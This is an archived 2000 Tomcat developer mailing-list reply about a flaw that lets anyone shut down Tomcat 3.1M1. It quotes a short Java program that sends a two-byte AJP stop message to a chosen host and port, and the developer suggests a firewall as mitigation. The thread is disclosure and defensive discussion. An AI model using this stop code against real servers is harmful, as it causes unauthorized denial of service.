tomcat-dev mailing list archives

Site index · List index
Message view « Date » · « Thread »
Top « Date » · « Thread »
From cos...@eng.sun.com
Subject Re: Anybody can shutdown Tomcat 3.1M1?
Date Wed, 23 Feb 2000 19:22:58 GMT

Same is true for 3.0 or before - just make an RMI connection and the
right call.

Use the firewall... It is easy to add back the "secret" for ajp
connection, but it will make installing much more difficult.

( since we have authentication we will try to stop it through the admin
 interface and an authenticated HTTP call, but it's not a big priority )

Costin  

> import java.net.*;
> import java.io.*;
> 
> public class stop {
>         public static void main(String args[]) {
>                 try {
>                     Socket socket = new Socket(args[0],
> Integer.valueOf(args[1]).intValue());
>                     OutputStream os=socket.getOutputStream();
>                     byte stopMessage[]=new byte[2];
>                     stopMessage[0]=(byte)254;
>                     stopMessage[1]=(byte)15;
>                     os.write( stopMessage );
>                     socket.close();
>                 } catch(Exception ex ) {
>                     ex.printStackTrace();
>                 }
>         }
> 
> }
> 
> 
> 
> ---------------------------------------------------------------------
> To unsubscribe, e-mail: tomcat-dev-unsubscribe@jakarta.apache.org
> For additional commands, e-mail: tomcat-dev-help@jakarta.apache.org
> 


Mime
View raw message